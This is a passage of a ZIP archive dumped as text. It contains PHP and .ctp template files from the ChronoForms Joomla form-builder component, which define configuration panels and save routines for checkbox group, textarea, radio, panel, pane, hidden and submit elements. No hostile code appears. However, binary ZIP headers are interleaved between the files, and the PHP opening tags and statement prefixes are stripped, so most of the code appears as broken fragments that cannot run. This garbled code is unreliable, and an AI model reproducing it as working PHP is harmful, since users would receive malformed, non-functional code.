      $checkbox_group_option_text): ?> $checkbox_group_option_text){ if(!empty($options)){ $options .= "\n"; } $options .= $checkbox_group_option_value.'='.$checkbox_group_option_text; } }else{ $options = ''; } ?> input('chronofield[{n}][input_checkbox_group_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_radios_over]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_radios_over', 'value' => $element_params['radios_over'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_checked]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_checked', 'value' => $element_params['checked'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_ghost]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_ghost', 'value' => $element_params['ghost'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_ghost_value]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_ghost_value', 'value' => $element_params['ghost_value'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_enable_dynamic_data]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_enable_dynamic_data', 'value' => $element_params['enable_dynamic_data'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_data_path]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_data_path', 'value' => $element_params['data_path'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_value_key]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_value_key', 'value' => $element_params['value_key'])); ?> input('chronofield[{n}][input_checkbox_group_{n}_text_key]', array('type' => 'hidden', 'id' => 'input_checkbox_group_{n}_text_key', 'value' => $element_params['text_key'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'validation' => 'Validation', 'ghost' => 'Ghost', 'dynamic_data' => 'Dynamic Data'), 'input_checkbox_group_element_config_{n}'); ?> tabStart('general'); ?> input('input_checkbox_group_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_checkbox_group_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_checkbox_group_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_checkbox_group_{n}_checked_config', array('type' => 'text', 'label' => 'Checked value', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'the checkbox value which should be checked by default.')); ?> input('input_checkbox_group_{n}_options_config', array('type' => 'textarea', 'label' => 'Options', 'rows' => 5, 'cols' => 50, 'operation' => "multi_option", 'operation_fieldtype' => "checkbox", 'smalldesc' => 'in value=text multi line format.')); ?> input('input_checkbox_group_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_checkbox_group_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_radios_over_config', array('type' => 'checkbox', 'label' => 'Checkboxes Vertical', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_group_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_checkbox_group_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_checkbox_group_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_checkbox_group_{n}_validations_config', array('type' => 'checkbox', 'label' => '1 Required', 'class' => 'small_input', 'value' => 'group[{n}]', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?> tabStart('ghost'); ?> input('input_checkbox_group_{n}_ghost_config', array('type' => 'checkbox', 'label' => 'Enable Ghost', 'class' => 'small_input', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'The ghost is a hidden field with the same name to assure that a key with this field name always exists in the POST array.')); ?> input('input_checkbox_group_{n}_ghost_value_config', array('type' => 'text', 'label' => 'Ghost Value', 'value' => '', 'class' => 'medium_input', 'smalldesc' => 'Value here will appear if no choice has been made.')); ?> tabEnd(); ?> tabStart('dynamic_data'); ?> input('input_checkbox_group_{n}_enable_dynamic_data_config', array('type' => 'select', 'label' => 'Enable', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => '1', 'smalldesc' => 'Enable Dynamic options loading, the options should exist in the $form->data array.')); ?> input('input_checkbox_group_{n}_data_path_config', array('type' => 'text', 'label' => 'Data Path', 'value' => '', 'smalldesc' => 'The data path in the $form->data array, can be a MODEL ID, or a path using dots: MODEL1.MODEL2')); ?> input('input_checkbox_group_{n}_value_key_config', array('type' => 'text', 'label' => 'Value Key', 'smalldesc' => 'The key name under which each option value will be found, so for example, if you have a multi list of users data loaded, then you may enter here "id"')); ?> input('input_checkbox_group_{n}_text_key_config', array('type' => 'text', 'label' => 'Text Key', 'smalldesc' => 'The key name under which each option text will be found, so for example, if you have a multi list of users data loaded, then you may enter here "username"')); ?> tabEnd(); ?>
      PK@y>\k,["";components/com_chronoforms/form_elements/input_textarea.ctpnuW+A
      Text Area
      input('chronofield[{n}][input_textarea_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_textarea_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_label_text', 'value' => $element_params['label_text'])); ?> input('chronofield[{n}][input_textarea_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_textarea_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_textarea_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_textarea_{n}_input_title]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_title', 'value' => $element_params['input_title'])); ?> input('chronofield[{n}][input_textarea_{n}_label_over]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_label_over', 'value' => $element_params['label_over'])); ?> input('chronofield[{n}][input_textarea_{n}_hide_label]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_hide_label', 'value' => $element_params['hide_label'])); ?> input('chronofield[{n}][input_textarea_{n}_input_cols]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_cols', 'value' => $element_params['input_cols'])); ?> input('chronofield[{n}][input_textarea_{n}_input_rows]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_input_rows', 'value' => $element_params['input_rows'])); ?> input('chronofield[{n}][input_textarea_{n}_wysiwyg_editor]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_wysiwyg_editor', 'value' => $element_params['wysiwyg_editor'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_buttons]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_buttons', 'value' => $element_params['editor_buttons'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_width]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_width', 'value' => $element_params['editor_width'])); ?> input('chronofield[{n}][input_textarea_{n}_editor_height]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_editor_height', 'value' => $element_params['editor_height'])); ?> input('chronofield[{n}][input_textarea_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_textarea_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_textarea_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other', 'editors' => 'Editors', 'validation' => 'Validation'), 'input_textarea_element_config_{n}'); ?> tabStart('general'); ?> input('input_textarea_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_textarea_{n}_input_value_config', array('type' => 'text', 'label' => 'Field Default Value', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_cols_config', array('type' => 'text', 'label' => 'Field Columns', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_rows_config', array('type' => 'text', 'label' => 'Field Rows', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_title_config', array('type' => 'text', 'label' => 'Field title', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'Change this to override the default JS validation error message.')); ?> input('input_textarea_{n}_input_id_config', array('type' => 'text', 'label' => 'Field ID', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_input_class_config', array('type' => 'text', 'label' => 'Field Class', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_textarea_{n}_label_over_config', array('type' => 'checkbox', 'label' => 'Label Over', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_hide_label_config', array('type' => 'checkbox', 'label' => 'Hide Label', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_instructions_config', array('type' => 'textarea', 'label' => 'Instructions for users', 'rows' => 5, 'cols' => 50)); ?> input('input_textarea_{n}_tooltip_config', array('type' => 'textarea', 'label' => 'Tooltip', 'rows' => 5, 'cols' => 50)); ?> input('input_textarea_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_textarea_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?> tabStart('editors'); ?> input('input_textarea_{n}_wysiwyg_editor_config', array('type' => 'checkbox', 'label' => 'Enable WYSIWYG Editor', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Enable the WYSIWYG editor for this text area ?')); ?> input('input_textarea_{n}_editor_buttons_config', array('type' => 'checkbox', 'label' => 'Show editor buttons', 'value' => '1', 'rule' => "bool", 'smalldesc' => 'Enable the editor buttons ?')); ?> input('input_textarea_{n}_editor_width_config', array('type' => 'text', 'label' => 'Editor Width', 'class' => 'small_input', 'value' => '')); ?> input('input_textarea_{n}_editor_height_config', array('type' => 'text', 'label' => 'Wditor Height', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('validation'); ?> input('input_textarea_{n}_validations_config', array('type' => 'checkbox', 'label' => 'Required', 'class' => 'small_input', 'value' => 'required', 'rule' => "split", 'splitter' => ",")); ?> tabEnd(); ?>
      PK@y>\<components/com_chronoforms/form_elements/input_panel_end.ctpnuW+A
      Panel End
      input('chronofield[{n}][input_panel_end_{n}_tab_key]', array('type' => 'hidden', 'id' => 'input_panel_end_{n}_tab_key', 'value' => $element_params['tab_key'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_panel_end_element_config_{n}'); ?> tabStart('settings'); ?> input('input_panel_end_{n}_tab_key_config', array('type' => 'text', 'label' => 'Tab Key', 'class' => 'small_input', 'smalldesc' => 'Your tab key which should exist in the tabs list in the "Tab Pane" element.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will close an opened panel. tabEnd(); ?>
      PK@y>\)2components/com_chronoforms/form_elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\fjR9components/com_chronoforms/form_elements/input_hidden.phpnuW+A 'input_hidden_{n}', 'input_id' => '', 'label_text' => '# {n}', 'container_id' => 0, 'input_value' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\~~=components/com_chronoforms/form_elements/input_pane_start.phpnuW+A 'pane_{n}', 'pane_type' => 'tabs', 'container_id' => 0, 'pane_start' => 0 ); } return array('element_params' => $element_params); } } ?>PK@y>\u;components/com_chronoforms/form_elements/input_pane_end.ctpnuW+A
      Pane End
      input('chronofield[{n}][input_pane_end_{n}_tab_key]', array('type' => 'hidden', 'id' => 'input_pane_end_{n}_tab_key', 'value' => $element_params['tab_key'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_pane_end_element_config_{n}'); ?> tabStart('settings'); ?> input('input_pane_end_{n}_tab_key_config', array('type' => 'text', 'label' => 'Tab Key', 'class' => 'small_input', 'smalldesc' => 'Your tab key which should exist in the tabs list in the "Tab Pane" element.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will close an opened pane. tabEnd(); ?>
      PK@y>\P~ftt>components/com_chronoforms/form_elements/input_panel_start.phpnuW+A 'panel_{n}', 'container_id' => 0, 'panel_label' => 'Example Panel {n}' ); } return array('element_params' => $element_params); } } ?>PK@y>\@<components/com_chronoforms/form_elements/input_panel_end.phpnuW+A 0, ); } return array('element_params' => $element_params); } } ?>PK@y>\U>components/com_chronoforms/form_elements/input_panel_start.ctpnuW+A
      Panel Start
      input('chronofield[{n}][input_panel_start_{n}_panel_id]', array('type' => 'hidden', 'id' => 'input_panel_start_{n}_panel_id', 'value' => $element_params['panel_id'])); ?> input('chronofield[{n}][input_panel_start_{n}_panel_label]', array('type' => 'hidden', 'id' => 'input_panel_start_{n}_panel_label', 'value' => $element_params['panel_label'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_panel_start_element_config_{n}'); ?> tabStart('settings'); ?> input('input_panel_start_{n}_panel_id_config', array('type' => 'text', 'label' => 'Panel ID', 'class' => 'small_input', 'smalldesc' => 'Your panel id, make sure its unique in your Pane.')); ?> input('input_panel_start_{n}_panel_label_config', array('type' => 'text', 'label' => 'Panel Label', 'class' => 'small_input', 'smalldesc' => 'Your panel label text.')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new panel, make sure that your panel is started inside an opened "Pane". tabEnd(); ?>
      PK@y>\3components/com_chronoforms/form_elements/index.htmlnuW+APK@y>\mh =components/com_chronoforms/form_elements/input_pane_start.ctpnuW+A
      Pane Start
      input('chronofield[{n}][input_pane_start_{n}_pane_id]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_id', 'value' => $element_params['pane_id'])); ?> input('chronofield[{n}][input_pane_start_{n}_pane_type]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_type', 'value' => $element_params['pane_type'])); ?> input('chronofield[{n}][input_pane_start_{n}_pane_start]', array('type' => 'hidden', 'id' => 'input_pane_start_{n}_pane_start', 'value' => $element_params['pane_start'])); ?>
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'input_pane_start_element_config_{n}'); ?> tabStart('settings'); ?> input('input_pane_start_{n}_pane_id_config', array('type' => 'text', 'label' => 'Pane ID', 'class' => 'big_input', 'smalldesc' => 'The id of your pane, should be unique one in your form.')); ?> input('input_pane_start_{n}_pane_type_config', array('type' => 'select', 'label' => 'Pane Type', 'options' => array('tabs' => 'Tabs', 'sliders' => 'Sliders'), 'smalldesc' => 'Select the type of your Pane.')); ?> input('input_pane_start_{n}_pane_start_config', array('type' => 'text', 'label' => 'Pane Start Offset', 'class' => 'small_input', 'smalldesc' => 'The numeric key of the panel which will be active on start, for first panel use 0, for the 2nd use 1,...etc')); ?> tabEnd(); ?> tabStart('help'); ?> This element will start a new pane, you will need to enter your panels inside this pane. tabEnd(); ?>
      PK@y>\JK 9components/com_chronoforms/form_elements/input_hidden.ctpnuW+A
      Hidden Box
      input('chronofield[{n}][input_hidden_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_hidden_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_hidden_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_hidden_{n}_label_text]', array('type' => 'hidden', 'id' => 'input_hidden_{n}_label_text', 'value' => $element_params['label_text'])); ?>
      input('input_hidden_{n}_label_text_config', array('type' => 'text', 'label' => 'Label Text', 'class' => 'medium_input', 'smalldesc' => 'Some text to identify your field in the wizard.')); ?> input('input_hidden_{n}_input_name_config', array('type' => 'text', 'label' => 'Field Name', 'class' => 'small_input', 'value' => '', 'smalldesc' => 'No spaces or any special characters, but underscores _ and square brackets [] are allowed.')); ?> input('input_hidden_{n}_input_value_config', array('type' => 'text', 'label' => 'Field default value', 'class' => 'small_input', 'value' => '')); ?> input('input_hidden_{n}_input_id_config', array('type' => 'text', 'label' => 'Field id', 'class' => 'small_input', 'value' => '')); ?>
      PK@y>\T;components/com_chronoforms/form_elements/input_pane_end.phpnuW+A 0, ); } return array('element_params' => $element_params); } } ?>PK@y>\=?1||9components/com_chronoforms/form_elements/input_custom.phpnuW+A 'input_custom_{n}', 'label_id' => 'input_custom_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'input_name' => 'input_custom_{n}', 'input_id' => 'input_id_{n}', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'code' => '', 'clean' => '', ); } return array('element_params' => $element_params); } } ?>PK@y>\d0}}9components/com_chronoforms/form_elements/input_submit.ctpnuW+A
      Submit Button
      input('chronofield[{n}][input_submit_{n}_input_id]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_id', 'value' => $element_params['input_id'])); ?> input('chronofield[{n}][input_submit_{n}_input_name]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_name', 'value' => $element_params['input_name'])); ?> input('chronofield[{n}][input_submit_{n}_input_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_value', 'value' => $element_params['input_value'])); ?> input('chronofield[{n}][input_submit_{n}_input_class]', array('type' => 'hidden', 'id' => 'input_submit_{n}_input_class', 'value' => $element_params['input_class'])); ?> input('chronofield[{n}][input_submit_{n}_button_type]', array('type' => 'hidden', 'id' => 'input_submit_{n}_button_type', 'value' => $element_params['button_type'])); ?> input('chronofield[{n}][input_submit_{n}_button_align]', array('type' => 'hidden', 'id' => 'input_submit_{n}_button_align', 'value' => $element_params['button_align'])); ?> input('chronofield[{n}][input_submit_{n}_back_button]', array('type' => 'hidden', 'id' => 'input_submit_{n}_back_button', 'value' => $element_params['back_button'])); ?> input('chronofield[{n}][input_submit_{n}_reset_button]', array('type' => 'hidden', 'id' => 'input_submit_{n}_reset_button', 'value' => $element_params['reset_button'])); ?> input('chronofield[{n}][input_submit_{n}_back_button_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_back_button_value', 'value' => $element_params['back_button_value'])); ?> input('chronofield[{n}][input_submit_{n}_reset_button_value]', array('type' => 'hidden', 'id' => 'input_submit_{n}_reset_button_value', 'value' => $element_params['reset_button_value'])); ?> input('chronofield[{n}][input_submit_{n}_multiline_start]', array('type' => 'hidden', 'id' => 'input_submit_{n}_multiline_start', 'value' => $element_params['multiline_start'])); ?> input('chronofield[{n}][input_submit_{n}_multiline_add]', array('type' => 'hidden', 'id' => 'input_submit_{n}_multiline_add', 'value' => $element_params['multiline_add'])); ?>
      Header(array('general' => 'General', 'other' => 'Other'), 'input_submit_element_config_{n}'); ?> tabStart('general'); ?> input('input_submit_{n}_input_name_config', array('type' => 'text', 'label' => 'Name', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_id_config', array('type' => 'text', 'label' => 'ID', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_value_config', array('type' => 'text', 'label' => 'Text', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_input_class_config', array('type' => 'text', 'label' => 'Class', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_button_type_config', array('type' => 'select', 'label' => 'Button Type', 'options' => array('submit' => 'Submit', 'button' => 'Regular Button'), 'smalldesc' => 'A regular button will NOT submit the form, but may be useful in AJAX forms.')); ?> input('input_submit_{n}_back_button_config', array('type' => 'checkbox', 'label' => 'Add Back Button', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_back_button_value_config', array('type' => 'text', 'label' => 'Back Button Text', 'class' => 'small_input', 'value' => '')); ?> input('input_submit_{n}_reset_button_config', array('type' => 'checkbox', 'label' => 'Add Reset Button', 'class' => 'small_input', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_reset_button_value_config', array('type' => 'text', 'label' => 'Reset Button Text', 'class' => 'small_input', 'value' => '')); ?> tabEnd(); ?> tabStart('other'); ?> input('input_submit_{n}_button_align_config', array('type' => 'select', 'label' => 'Button Align', 'options' => array('left' => 'Left', 'center' => 'Center', 'right' => 'Right'), 'smalldesc' => 'The alignment of this button element.')); ?> input('input_submit_{n}_multiline_start_config', array('type' => 'checkbox', 'label' => 'Start a Multi field row', 'value' => '1', 'rule' => "bool")); ?> input('input_submit_{n}_multiline_add_config', array('type' => 'checkbox', 'label' => 'Add to a Multi field row', 'value' => '1', 'rule' => "bool")); ?> tabEnd(); ?>
      PK@y>\\p@ @ Acomponents/com_chronoforms/form_elements/input_checkbox_group.phpnuW+A 'input_checkbox_group_{n}', 'label_id' => 'input_checkbox_group_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'radios_over' => '0', 'input_name' => 'input_checkbox_group_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'checked' => '', 'validations' => '', 'instructions' => '', 'tooltip' => '', 'container_id' => 0, 'options' => "choice 1=Choice 1\nchoice 2=Choice 2\nchoice 3=Choice 3"); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['selected'] = $formdata_element[$field_header.'_checked']; $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['radios_over'] = $formdata_element[$field_header.'_radios_over']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $formcontent_item_array['multiple'] = 'checkbox'; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\T | | 8components/com_chronoforms/form_elements/input_radio.phpnuW+A 'input_radio_{n}', 'label_id' => 'input_radio_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'radios_over' => '0', 'input_name' => 'input_radio_{n}', 'input_id' => '', 'ghost' => '1', 'ghost_value' => '', 'input_title' => '', 'enable_dynamic_data' => 0, 'data_path' => '', 'value_key' => '', 'text_key' => '', 'input_value' => '', 'options' => 'No=No'."\n".'Yes=Yes', 'legend' => '', 'validations' => '', 'tooltip' => '', 'container_id' => 0, 'instructions' => ''); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ if(!empty($formdata_element[$field_header.'_input_value'])){ $formcontent_item_array['value'] = $formdata_element[$field_header.'_input_value']; } $temp_options = explode("\n", $formdata_element[$field_header.'_options']); foreach($temp_options as $temp_option){ $temp_option_details = explode('=', $temp_option); $formcontent_item_array['options'][strval($temp_option_details[0])] = trim($temp_option_details[1]); } $formcontent_item_array['legend'] = $formdata_element[$field_header.'_legend']; $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['ghost'] = $formdata_element[$field_header.'_ghost']; $formcontent_item_array['ghost_value'] = $formdata_element[$field_header.'_ghost_value']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['enable_dynamic_data'] = $formdata_element[$field_header.'_enable_dynamic_data']; $formcontent_item_array['data_path'] = $formdata_element[$field_header.'_data_path']; $formcontent_item_array['value_key'] = $formdata_element[$field_header.'_value_key']; $formcontent_item_array['text_key'] = $formdata_element[$field_header.'_text_key']; $formcontent_item_array['radios_over'] = $formdata_element[$field_header.'_radios_over']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\% ;components/com_chronoforms/form_elements/input_textarea.phpnuW+A 'input_textarea_{n}', 'label_id' => 'input_textarea_{n}_label', 'label_text' => 'Label Text', 'hide_label' => '0', 'label_over' => '0', 'multiline_start' => '0', 'multiline_add' => '0', 'wysiwyg_editor' => '0', 'editor_buttons' => '1', 'editor_width' => '400', 'editor_height' => '200', 'input_name' => 'input_textarea_{n}', 'input_id' => '', 'input_value' => '', 'input_class' => '', 'input_title' => '', 'validations' => '', 'instructions' => '', 'input_rows' => '12', 'tooltip' => '', 'container_id' => 0, 'input_cols' => '45'); } return array('element_params' => $element_params); } function save($formdata_element = array(), $field_header = '', $formcontent_item_array = array()){ $formcontent_item_array['id'] = $formdata_element[$field_header.'_input_id']; $formcontent_item_array['default'] = $formdata_element[$field_header.'_input_value']; $formcontent_item_array['cols'] = $formdata_element[$field_header.'_input_cols']; $formcontent_item_array['rows'] = $formdata_element[$field_header.'_input_rows']; $formcontent_item_array['class'] = $formdata_element[$field_header.'_input_class']; $formcontent_item_array['title'] = $formdata_element[$field_header.'_input_title']; $formcontent_item_array['label_over'] = $formdata_element[$field_header.'_label_over']; $formcontent_item_array['hide_label'] = $formdata_element[$field_header.'_hide_label']; $formcontent_item_array['multiline_start'] = $formdata_element[$field_header.'_multiline_start']; $formcontent_item_array['multiline_add'] = $formdata_element[$field_header.'_multiline_add']; $formcontent_item_array['validations'] = $formdata_element[$field_header.'_validations']; $formcontent_item_array['smalldesc'] = $formdata_element[$field_header.'_instructions']; $formcontent_item_array['tooltip'] = $formdata_element[$field_header.'_tooltip']; $formcontent_item_array['wysiwyg_editor'] = $formdata_element[$field_header.'_wysiwyg_editor']; $formcontent_item_array['editor_buttons'] = $formdata_element[$field_header.'_editor_buttons']; $formcontent_item_array['editor_width'] = $formdata_element[$field_header.'_editor_width']; $formcontent_item_array['editor_height'] = $formdata_element[$field_header.'_editor_height']; $formcontent_item_array['type'] = $formdata_element['type']; return $formcontent_item_array; } } ?>PK@y>\$  7components/com_chronoforms/form_elements/input_file.phpnuW+A 'input_file_{n}', 